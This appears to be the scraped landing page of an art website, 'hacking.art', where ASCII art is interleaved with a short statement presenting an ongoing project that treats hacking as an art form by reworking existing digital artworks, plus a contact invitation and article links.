/MMMMMMMh `o..o+` +MM: ``-omMMN. mMMy /hMMMMMMMMmNMMMMNMm/+NMMMMMMmNMMy` `sNMo` .hmm/ /mMdyms` -y/:y:` -odNMMMhNh+. `:sdMNd+`
/MMMMMMM/ ods.` `NMy :NMMs-` sMMN-odMMMMMMMMMMMMMMMMN/-sMMMMMMdshMNo` -hMm+ -dNo`.+MMMNh- :s: `` `-yNMNMMMms- `:hMMmo
`hMMMMMMm` /-+h: sMM: .ohmNd+hMMMNMMMMMMMMmNMMMMMMMy/ymMMMMMms.dMN/ `+NNs. -ymd/ -dMNMMs` . -mMMMMMMNdo/` .NMMy`
`mMMMMMMh -mh/+. `NMs .-odNMMMMMMMMMMMMMMMMMMMN+-mMMMMMMh.:dMm. :dNm+` `dMs`.sNMMmm: hhmMMMMMMMNy` .hMmo`
.dMMMMMMs` `-yN-`` -MM: `-/hddhmMMMMMMMMMMMMd+sNNdMMMmo``mMd. .smd:` `::`-hMMNy/` What is this? .yMMMMMMMN/` -mMd.
.yMMMMMMh. /+oh- .hMh` ` `:sdNMMMMMMN+:dNs-dMMh- -dMm` /mM/ `oNMmNo` .sMMMMMMMh/ `+Nm+`
oNMMMMMh- -hhhs` oMM- `-oMMMMy--mm- oMMN- -mMd-`/yNd+ :hNNMy- Often you read that hacking is an art.
/mMMMMMNs` :h. `NMy .MMNo .dN: -MMm- mMy``sMNo` `yMMhms` But what exactly is the art of hacking?
`+dMMMMMd/ ` /MN- yMMo yM+ sMM/ `oMm`:mMN/ .yhMMMh/` This work is an ongoing experiment that artistically and even more technically explores the relations between these two.
`+mMMMMNy- `hMm` oMMy :Md oNMm` hMMyymNs. oNMMMNy` For this purpose, existing artworks are explored and hacked to create new art and show new possibilities.
.yNMMMMNy.` oMM: -NMh` /MM: /MMM/ :MMMMMd- .oNMMMm/s/ .` Also see it as a new form of reception for digital artworks.
./dNMMMNh. -NMd` .mMm. -mMo -NMMN:oMMMMNy` `/mMMMMh/mN-`+Nd If you feel inspired, have other hacking related works in mind, or any general feedback or questions:
`:yNMMMms-` `yMM: oMN- `dMy /do/ymMMMMNh. -mMMMMMMhdMMMmMMN+-.` feel free to write me:
`:ohmMNmysMMMs` -NMh +NMoss. -MMMN: `oNMMMMMMMMMMMNMNy:-.
:oohdmNmNds:` .dMm. :NMMm- :NMMMM+` /sMMMMMMNdhNNh:ym- mail+ät+hacking.art or @twitter
` `-/ohy/` hMM/ `mMN/` `mMh+yNMd/` -+dMMMMMh` +- :.
-oyy/` yMM+ sMy- :mMs `/yNMo- -sNMMMh``
`/+oo.` +MMd``sm+ :NM+ :sNy- :yNmhN:
`:hd/` `dMN.oms oMm- `odNy:` `:yMMdo: /:+: Thank you very much for reading! -mm+
`:+os/` oMMNNh. sMd. `/hNy- +hMMMNMMMo`o. ydo
-ody:sMMMh- .dMy` `+md+` `/mMMMMhNs : . .+/NN/` `ydo
-oydh+ -NMy .smh/` -smMMMMmd.ss` `hNMh.mMm: .+Ny`
+mN+` `/hmh/` `-sNMMMNN+h+-: :+d` odMNoyhNs` -mm+
`dMM- .smmy: .+yNmMMMhN/ .MMM. `+Nms:hMh- .yNy. Articles:
`-ohy- `-sdmy:` `/yNMMMhh- /MMMo` -odMs.sNN/ oNm-
Latest Shit: `.oyo- `:yNm+. .odNMMm- .MMMy `-dMmsosMh: `hNh.
`:sho: .+hms. `-+mMN/ :Mh- -dNNooNNh/ +mm-`
.sso:. .:sho-` `:dMs:-. ++.-oNMd--NN/` `+hNo.
`-yh/. `-+hh/` `-yNNNdyN/oNMMy:ody. /dm+.
`-+dy:. `-+ys+. ./hmMMMNddMNNm/ `yMm.
./yys:` .+hy/` .+hNmsmMNo. /dNo.
`:shy:` .sdds:` `:odNd/ -sNy-
./yy+. `-+hds- `.` `+mN+
.+y+-` `:ydy+-` `-hmh-
.-oo-` `/ydho-` .yNh-
`-+s/.` `:ymh-` -hmm:`
`-/o+-` .+hh/.` `+mm+.
./s+-` `/hdho..+dMs.
.:sy:` `+MMmNd+
-ody/` `+mMm+.`
`:+my+. .+mNmo
`/ydy:` `:hNmh/
`:sdy/` `/NMh/
+dmy+` .+ymms:`
some old stuff `+ydy/yNMd- Back to the top
`odds-